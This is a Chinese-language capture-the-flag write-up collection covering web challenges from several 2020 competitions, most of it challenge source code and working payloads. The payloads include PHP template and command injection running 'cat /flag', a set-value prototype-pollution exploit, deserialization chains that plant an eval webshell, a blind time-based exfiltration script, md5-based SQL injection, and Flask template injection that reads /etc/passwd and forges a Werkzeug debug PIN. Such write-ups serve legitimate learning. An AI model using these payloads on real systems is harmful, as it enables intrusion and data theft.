第十三届全国大学生信息安全竞赛-创新实践能力赛 web fork 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $pid = pcntl_fork(); if ($pid == -1 ) { die ('could not fork' ); }else if ($pid){ $r=pcntl_wait($status); if (!pcntl_wifexited($status)){ phpinfo(); } }else { highlight_file(__FILE__ ); if (isset ($_GET['a' ])&&is_string($_GET['a' ])&&!preg_match("/[:\\\\]|exec|pcntl/i" ,$_GET['a' ])){ call_user_func_array($_GET['a' ],[$_GET['b' ],false ,true ]); } posix_kill(posix_getpid(), SIGUSR1); }
rceme https://www.anquanke.com/post/id/173991
https://xz.aliyun.com/t/4471
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php error_reporting(0 ); highlight_file(__FILE__ ); parserIfLabel($_GET['a' ]); function danger_key ($s ) { $s=htmlspecialchars($s); $key=array ('php' ,'preg' ,'server' ,'chr' ,'decode' ,'html' ,'md5' ,'post' ,'get' ,'request' ,'file' ,'cookie' ,'session' ,'sql' ,'mkdir' ,'copy' ,'fwrite' ,'del' ,'encrypt' ,'$' ,'system' ,'exec' ,'shell' ,'open' ,'ini_' ,'chroot' ,'eval' ,'passthru' ,'include' ,'require' ,'assert' ,'union' ,'create' ,'func' ,'symlink' ,'sleep' ,'ord' ,'str' ,'source' ,'rev' ,'base_convert' ); $s = str_ireplace($key,"*" ,$s); $danger=array ('php' ,'preg' ,'server' ,'chr' ,'decode' ,'html' ,'md5' ,'post' ,'get' ,'request' ,'file' ,'cookie' ,'session' ,'sql' ,'mkdir' ,'copy' ,'fwrite' ,'del' ,'encrypt' ,'$' ,'system' ,'exec' ,'shell' ,'open' ,'ini_' ,'chroot' ,'eval' ,'passthru' ,'include' ,'require' ,'assert' ,'union' ,'create' ,'func' ,'symlink' ,'sleep' ,'ord' ,'str' ,'source' ,'rev' ,'base_convert' ); foreach ($danger as $val){ if (strpos($s,$val) !==false ){ die ('很抱歉,执行出错,发现危险字符【' .$val.'】' ); } } if (preg_match("/^[a-z]$/i" )){ die ('很抱歉,执行出错,发现危险字符' ); } return $s; } function parserIfLabel ( $content ) { $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/' ; if ( preg_match_all( $pattern, $content, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0 ; $i < $count; $i++ ) { $flag = '' ; $out_html = '' ; $ifstr = $matches[ 1 ][ $i ]; $ifstr=danger_key($ifstr,1 ); if (strpos($ifstr,'=' ) !== false ){ $arr= splits($ifstr,'=' ); if ($arr[0 ]=='' || $arr[1 ]=='' ){ die ('很抱歉,模板中有错误的判断,请修正【' .$ifstr.'】' ); } $ifstr = str_replace( '=' , '==' , $ifstr ); } $ifstr = str_replace( '<>' , '!=' , $ifstr ); $ifstr = str_replace( 'or' , '||' , $ifstr ); $ifstr = str_replace( 'and' , '&&' , $ifstr ); $ifstr = str_replace( 'mod' , '%' , $ifstr ); $ifstr = str_replace( 'not' , '!' , $ifstr ); if ( preg_match( '/\{|}/' , $ifstr)) { die ('很抱歉,模板中有错误的判断,请修正' .$ifstr); }else { @eval ( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); } if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/' , $matches[ 2 ][ $i ], $matches2 ) ) { switch ( $flag ) { case 'if' : if ( isset ( $matches2[ 1 ] ) ) { $out_html .= $matches2[ 1 ]; } break ; case 'else' : if ( isset ( $matches2[ 2 ] ) ) { $out_html .= $matches2[ 2 ]; } break ; } } elseif ( $flag == 'if' ) { $out_html .= $matches[ 2 ][ $i ]; } $pattern2 = '/\{if([0-9]):/' ; if ( preg_match( $pattern2, $out_html, $matches3 ) ) { $out_html = str_replace( '{if' . $matches3[ 1 ], '{if' , $out_html ); $out_html = str_replace( '{else' . $matches3[ 1 ] . '}' , '{else}' , $out_html ); $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}' , '{end if}' , $out_html ); $out_html = $this ->parserIfLabel( $out_html ); } $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content ); } } return $content; } function splits ( $s, $str=',' ) { if ( empty ( $s ) ) return array ( '' ); if ( strpos( $s, $str ) !== false ) { return explode( $str, $s ); } else { return array ( $s ); } } /?a={if :var_dump(('sys' .'tem' )('cat /flag' ))}a{end if }
littlegame CVE-2019-10747 ,此题使用的是有问题的版本。
set-value 的版本比较: https://github.com/jonschlinkert/set-value/commit/95e9d9923f8a8b4a01da1ea138fcc39ec7b6b15f
POC:
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
https://xz.aliyun.com/t/7182####toc-4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 var express = require ('express' );const setFn = require ('set-value' );var router = express.Router();const Admin = { "password1" :process.env.p1, "password2" :process.env.p2, "password3" :process.env.p3 } router.post("/DeveloperControlPanel" , function (req, res, next ) { if (req.body.key === undefined || req.body.password === undefined ){ res.send("What's your problem?" ); }else { let key = req.body.key.toString(); let password = req.body.password.toString(); if (Admin[key] === password){ res.send(process.env.flag); }else { res.send("Wrong password!Are you Admin?" ); } } }); router.get('/SpawnPoint' , function (req, res, next ) { req.session.knight = { "HP" : 1000 , "Gold" : 10 , "Firepower" : 10 } res.send("Let's begin!" ); }); router.post("/Privilege" , function (req, res, next ) { if (req.session.knight === undefined ){ res.redirect('/SpawnPoint' ); }else { if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined ) { res.send("What's your problem?" ); }else { let key = req.body.NewAttributeKey.toString(); let value = req.body.NewAttributeValue.toString(); setFn(req.session.knight, key, value); res.send("Let's have a check!" ); } } }); module .exports = router;
1 {"NewAttributeKey" :"__proto__.fe1w0" ,"NewAttributeValue" :"xzaslxr1" }
1 {"key" :"fe1w0" ,"password" :"xzaslxr1" }
题外话,在Y1ng师傅博客那边又学到个新知识
npm aduit
主要做的就是把需要检查的依赖信息发送给一个官方检查接口, 该结构会在历史上报的漏洞数据库中判断当前依赖信息是否含有漏洞,然后生成一个包含包名称、漏洞严重性、简介、路径等的漏洞报告反馈给开发者。
题目源代码:http://xzaslxr.xyz/wp-content/uploads/2020/09/LittleGame_app.zip 感兴趣的老哥,可以试试
easytrick 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class trick { public $trick1; public $trick2; public function __destruct ( ) { $this ->trick1 = (string )$this ->trick1; if (strlen($this ->trick1) > 5 || strlen($this ->trick2) > 5 ){ die ("你太长了" ); } if ($this ->trick1 !== $this ->trick2 && md5($this ->trick1) === md5($this ->trick2) && $this ->trick1 != $this ->trick2){ echo file_get_contents("/flag" ); } } } highlight_file(__FILE__ ); unserialize($_GET['trick' ]);
可以利用php 的无穷大来绕过
1 O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}
论证:
此外,利用NaN
也行 from Y1ng 师傅wp
NaN “不是数字”并不意味着查看数据类型是否为数值型/文本型/等等。
NaN实际上是一组可以存储在浮点变量中的值,但实际上并不计算为一个合适的浮点数。
1 2 3 php > var_dump(is_nan((float )'NaN' )); php shell code:1 : bool (false )
babyunserialize 思路与wm2020的webweb相似,不同的是通过写webshell
而非rce。
1 2 3 4 5 6 7 8 9 10 11 <?php namespace DB ;class Jig { protected $dir = 1 , $data = array ("fe1w0.php" =>array ("<?php eval(\$_GET['a']);?>" =>123 )), $lazy = 1 ; } $a=new Jig(); echo urlencode((serialize($a)));
主要利用jip.php中的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function write ($file,array $data=NULL ) { if (!$this ->dir || $this ->lazy) return count($this ->data[$file]=$data); $fw=\Base::instance(); switch ($this ->format) { case self ::FORMAT_JSON: $out=json_encode($data,JSON_PRETTY_PRINT); break ; case self ::FORMAT_Serialized: $out=$fw->serialize($data); break ; } return $fw->write($this ->dir.$file,$out); } function __destruct ( ) { if ($this ->lazy) { $this ->lazy = FALSE ; foreach ($this ->data?:[] as $file => $data) $this ->write($file,$data); } }
🎣杯 web gamebox 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET['c' ])) { gamebox($_GET['c' ]); } else if (isset ($_GET['f' ])){ fileReader($_GET['f' ]); } else { highlight_file(__FILE__ ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 GET /?f=/proc/self/maps HTTP/1.1Host : 122.112.218.163:10080Pragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection : closeHTTP/1.1 200 OK Date : Thu, 27 Aug 2020 01:35:12 GMTServer : Apache/2.4.38 (Debian)X-Powered-By : PHP/7.2.33Vary : Accept-EncodingContent-Length : 53572Connection : closeContent-Type : text/html; charset=UTF-855f1df1ed000-55f1df222000 r--p 00000000 fd:01 664673 /usr/sbin/apache2 55f1df222000-55f1df26c000 r-xp 00035000 fd:01 664673 /usr/sbin/apache2 55f1df26c000-55f1df28e000 r--p 0007f000 fd:01 664673 /usr/sbin/apache2 55f1df28f000-55f1df292000 r--p 000a1000 fd:01 664673 /usr/sbin/apache2 55f1df292000-55f1df296000 rw-p 000a4000 fd:01 664673 /usr/sbin/apache2 55f1df296000-55f1df299000 rw-p 00000000 00:00 0 55f1dfbca000-55f1dfdb1000 rw-p 00000000 00:00 0 [heap] 55f1dfdb1000-55f1dfdd6000 rw-p 00000000 00:00 0 [heap] 7f40c85b0000-7f40c85b1000 r--p 00000000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c85b1000-7f40c85b2000 r-xp 00001000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c85b2000-7f40c9f9e000 r--p 00002000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c9f9e000-7f40c9f9f000 r--p 019ed000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c9f9f000-7f40c9fa0000 rw-p 019ee000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c9fa0000-7f40c9fc7000 rw-p 00000000 00:00 0 7f40c9fc7000-7f40c9fca000 r--p 00000000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fca000-7f40c9fd1000 r-xp 00003000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd1000-7f40c9fd3000 r--p 0000a000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd3000-7f40c9fd4000 ---p 0000c000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd4000-7f40c9fd5000 r--p 0000c000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd5000-7f40c9fd6000 rw-p 0000d000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd6000-7f40ca00c000 rw-p 00000000 00:00 0 7f40ca014000-7f40ca016000 rw-p 00000000 00:00 0 7f40ca907000-7f40ca90a000 r--p 00000000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca90a000-7f40ca91b000 r-xp 00003000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca91b000-7f40ca91e000 r--p 00014000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca91e000-7f40ca91f000 ---p 00017000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca91f000-7f40ca920000 r--p 00017000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca920000-7f40ca921000 rw-p 00018000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca921000-7f40ca9aa000 r--p 00000000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40ca9aa000-7f40caa56000 r-xp 00089000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa56000-7f40caa94000 r--p 00135000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa94000-7f40caa95000 ---p 00173000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa95000-7f40caa9f000 r--p 00173000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa9f000-7f40caaa1000 rw-p 0017d000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caaa1000-7f40caaa5000 rw-p 00000000 00:00 0 7f40cb5fb000-7f40cb5fe000 r-xp 00000000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so 7f40cb5fe000-7f40cb7fe000 ---p 00003000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so 7f40cb7fe000-7f40cb7ff000 r--p 00003000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so 7f40cb7ff000-7f40cb800000 rw-p 00004000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so
1 curl.exe http://122.112 .218.163 :10080 /?f=/usr/local/lib/php/extensions/no-debug -non -zts -20170718 /FileReader.so --output D:1 .so
当你IDA启动时,会发现这是道webpwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 __int64 __fastcall zif_gamebox (__int64 a1) { signed int v1; int v2; char *v3; __int64 v4; const void *v6; __int64 v7; int v8[256 ]; __int64 v9[256 ]; char v10[511 ]; char v11; __int64 v12; v6 = 0L L; v12 = *MK_FP(__FS__, 40L L); memset (v10, 0 , 0x240 uLL); if ( zend_parse_parameters(*(_DWORD *)(a1 + 44 ), (__int64)"s" , (__int64)&v6, (__int64)&v7) != -1 ) { if ( (unsigned __int64)v7 > 0x200 ) qmemcpy(v10, v6, 0x200 uLL); else __memcpy_chk((__int64)v10, (__int64)v6, v7, 576L L); v11 = 0 ; v1 = 0 ; qmemcpy(v8, &unk_2900, sizeof (v8)); qmemcpy(v9, &off_2040A0, sizeof (v9)); while ( 1 ) { v2 = v1 + 1 ; v3 = &v10[v1]; v4 = *v3; if ( (_BYTE)v4 == 44 ) { v1 += 2 ; *v3 = 5 ; if ( v1 > 511 ) LABEL_8: JUMPOUT(__CS__, v9[v10[0 ]]); } else { *v3 = v8[v4]; ++v1; if ( v2 > 511 ) goto LABEL_8; } } } return *MK_FP(__FS__, 40L L) ^ v12; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 __int64 __fastcall zif_fileReader (__int64 a1) { __int64 v1; char *v2; const char *v3; FILE *v4; char *v6; __int64 v7; __int64 v8; char filename[16 ]; __m128i v10; __m128i v11; __m128i v12; __m128i v13; __m128i v14; __m128i v15; __m128i v16; __int64 v17; v1 = *(_DWORD *)(a1 + 44 ); v17 = *MK_FP(__FS__, 40L L); v7 = 0L L; if ( zend_parse_parameters(v1, (__int64)"s" , (__int64)&v7, (__int64)&v8) != -1 ) { v2 = filename; memset (filename, 0 , 0x80 uLL); if ( (unsigned __int64)v8 <= 0x80 ) { LODWORD(v6) = __memcpy_chk((__int64)filename, v7, v8, 128L L); v2 = v6; } else { *(__m128i *)filename = _mm_loadu_si128((const __m128i *)v7); v10 = _mm_loadu_si128((const __m128i *)(v7 + 16 )); v11 = _mm_loadu_si128((const __m128i *)(v7 + 32 )); v12 = _mm_loadu_si128((const __m128i *)(v7 + 48 )); v13 = _mm_loadu_si128((const __m128i *)(v7 + 64 )); v14 = _mm_loadu_si128((const __m128i *)(v7 + 80 )); v15 = _mm_loadu_si128((const __m128i *)(v7 + 96 )); v16 = _mm_loadu_si128((const __m128i *)(v7 + 112 )); } v3 = "rb" ; v4 = fopen(v2, "rb" ); if ( v4 ) { while ( !feof(v4) ) { v3 = (const char *)(unsigned int )(char )fgetc(v4); php_printf((__int64)"%c" , (__int64)v3); } php_printf((__int64)"\n" , (__int64)v3); } else { php_printf((__int64)"Failed~" , (__int64)"rb" ); } } return *MK_FP(__FS__, 40L L) ^ v17; }
easyseed
http://122.112.252.28:20001/index.bak
PHP/5.6.28
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 *************************** ************************* ************************* ************************* ************************* ************************* ************************* ************************* ************************* $lock = random(6 , 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ' ); $key = random(16 , '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ' ); ************************* ************************* ************************* ************************* ************************* ************************* ************************* ************************* function random ($length, $chars = '0123456789ABC' ) { $hash = '' ; $max = strlen($chars) - 1 ; for ($i = 0 ; $i < $length; $i++) { $hash .= $chars[mt_rand(0 , $max)]; } return $hash; } ************************* ************************* ************************* ************************* ************************* ************************* ************************* *************************
参考:
无需暴破还原mt_rand()种子
http://www.yulegeyu.com/2017/05/13/PHPCMS-MT-RAND-SEED-CRACK%E8%87%B4authkey%E6%B3%84%E9%9C%B2%E3%80%82/
https://www.openwall.com/php_mt_seed/
1 2 3 4 5 6 7 8 9 10 $str = "vEUHaY" ; $randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ" ; for ($i=0 ;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." " .$pos." " ."0 " .(strlen($randStr)-1 )." " ; }
1 2 3 4 5 6 7 8 9 10 11 root@iZwz951ls2mad25iuv9mtjZ:~/php_mt_seed-4.0 Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 Version: 3.0.7 to 5.2.0 Found 0, trying 0xe0000000 - 0xffffffff, speed 120.3 Mseeds/s Version: 5.2.1+ Found 0, trying 0x00000000 - 0x0fffffff, speed 0.0 Mseeds/s seed = 0x000af591 = 718225 (PHP 5.2.1 to 7.0.x; HHVM) Found 1, trying 0xe0000000 - 0xefffffff, speed 14.8 Mseeds/s seed = 0xeed97ca5 = 4007230629 (PHP 5.2.1 to 7.0.x; HHVM) Found 2, trying 0xf0000000 - 0xffffffff, speed 14.8 Mseeds/s Found 2
注意要使用php5.6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $seed = 718225 ; mt_srand($seed); function random ($length, $chars = '' ) { $hash = '' ; $max = strlen($chars) - 1 ; for ($i = 0 ; $i < $length; $i++) { $hash .= $chars[mt_rand(0 , $max)]; } return $hash; } $lock = random(6 , 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ' ); $key = random(16 , '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ' ); var_dump($lock,$key);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 GET /index.php HTTP/1.1Host : 122.112.252.28:20001Pragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : key=nRtqGR8mtd9ZOPyI; lock=vEUHaYX-Forwarded-For : 127.0.0.1Connection : closeHTTP/1.1 200 OK Date : Thu, 27 Aug 2020 07:30:44 GMTServer : Apache/2.4.23 (Unix)X-Powered-By : PHP/5.6.28Set-Cookie : lock=vEUHaYSet-Cookie : key=Infer+the+key+from+the+lockContent-Length : 155Connection : closeContent-Type : text/html; charset=UTF-8<h1 align="center">é¥åå¼éç游æ!!!</h1><img src="1.jpeg" style="margin-left:38%"/><script>alert('flag{6e5b51029a9a9ccd6d6b0f9a1a58c494}')</script>
easyweb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport reflag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}' ) all_letter = '-}0123456789abcdefghijklmnopqrstuvwxyz' def get_flag (command ): try : r = requests.post('http://119.3.37.185/' , data={'cmd' : command}, timeout=1.5 ) except : return True return False if __name__ == '__main__' : flag = 'flag{' while flag_format.match(flag) == None : staus = 0 for i in all_letter: payload = 'cat /flag* | grep %s && sleep 1.8' % (flag + i) print(payload) if get_flag(payload): staus = 1 flag += i print(flag) break if staus == 0 : flag = flag[0 :-1 ]
from
无回显的命令执行之利用
https://xz.aliyun.com/t/8125
第四届强网杯 强网先锋 web辅助 源代码:http://112.126.59.156:8080/s/QmfSGNA2JZ7CmK2/download
原题:https://ama666.cn/2020/06/25/DASCTF-6%E6%9C%88%E8%B5%9B%E6%80%BB%E7%BB%93/
payload:
1 ?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password="";S:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":1:{S:7:"\0*\0\6eame";s:5:"fe1w0";}}};s:8:"\0*\0admin";i:1;}
__wakeup
绕过 以及 S
支持16进制编码就行
主动 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file("index.php" ); if (preg_match("/flag/i" , $_GET["ip" ])){ die ("no flag" ); } system("ping -c 3 $_GET [ip]" ); ?>
1 http://39.96.23.228:10002/?ip=|cat f***| base64
Funhash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include 'conn.php' ;highlight_file("index.php" ); if ($_GET["hash1" ] != hash("md4" , $_GET["hash1" ])){ die ('level 1 failed' ); } if ($_GET['hash2' ] === $_GET['hash3' ] || md5($_GET['hash2' ]) !== md5($_GET['hash3' ])){ die ('level 2 failed' ); } $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4" ],true ) . "'" ; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close(); ?>
1 http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
https://www.cnblogs.com/tqing/p/11852990.html
upload 密码123456
https://www.jianshu.com/p/c3679f805a0c
1 2 3 4 5 fe1w0@fe1w0:~$ steghide extract -sf 1.jpg Enter passphrase: the file "flag.txt" does already exist. overwrite ? (y/n) steghide: did not write to file "flag.txt" .
GACTF web simpleflask http://149.28.80.82:89/
1 2 PS C:\WINDOWS\System32> curl.exe -X POST http://124.70.153.63:80 -d 'name={{1-1}}' <h1>hello 0!<h1>
1 2 3 name={{().__class__.__bases__[0 ].__subclasses__()[127 ].__init__.__globals__.__builtins__["open" ]("/etc/machine-id" ).read()}} hello a8eb6cac33e701ae867269db5ce80e7f !
1 name={{().__class__.__bases__[0 ].__subclasses__()[127 ].__init__.__globals__.__builtins__["open" ]("/proc/self/cgroup" ).read()}}
1 hello 11:devices:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 10:blkio:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 9:cpuset:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 8:freezer:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 7:pids:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 6:hugetlb:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 5:net_prio,net_cls:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 4:perf_event:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 3:memory:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 2:cpuacct,cpu:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 1:name=systemd:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f !
/usr/local/lib/python3.6/dist-packages/werkzeug/debug/__init__.py
48-76
行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def get_machine_id (): global _machine_id if _machine_id is not None : return _machine_id def _generate (): linux = b"" for filename in "/etc/machine-id" , "/proc/sys/kernel/random/boot_id" : try : with open(filename, "rb" ) as f: value = f.readline().strip() except IOError: continue if value: linux += value break try : with open("/proc/self/cgroup" , "rb" ) as f: linux += f.readline().strip().rpartition(b"/" )[2 ] except IOError: pass
注意此题和[GYCTF2020]FlaskApp的主要区别在于/etc/machine-id
存在,其他一样
1 linux = get(/etc/machine-id) + get(/proc/self/cgroup)
注意MAC值是会变化的
1 name={{().__class__.__bases__[0 ].__subclasses__()[127 ].__init__.__globals__.__builtins__["open" ]("/sys/class/net/eth0/address" ).read()}}
1 2 3 hello 02 :42 :ac:14 :00 :07 ! >>> print(int('0242ac140007' ,16 ))2485378088967
1 name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
1 hello root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin !
1 2 3 name={{().__class__.__bases__[0 ].__subclasses__()[127 ].__init__.__globals__["geteuid" ]()}} hello 0 !
变量名
变量值
当前计算机用户名
root
modname
flask.app
getattr(app, “__name__”, app.__class__.__name__)
Flask
str(uuid.getnode())
a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f
get_machine_id()
2485378088970
绝对路径
/usr/local/lib/python3.7/dist-packages/flask/app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/dist-packages/flask/app.py' , ] private_bits = [ '2485378088968' , 'a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int(h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len(num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range(0 , len(num), group_size)) break else : rv = num print(rv)
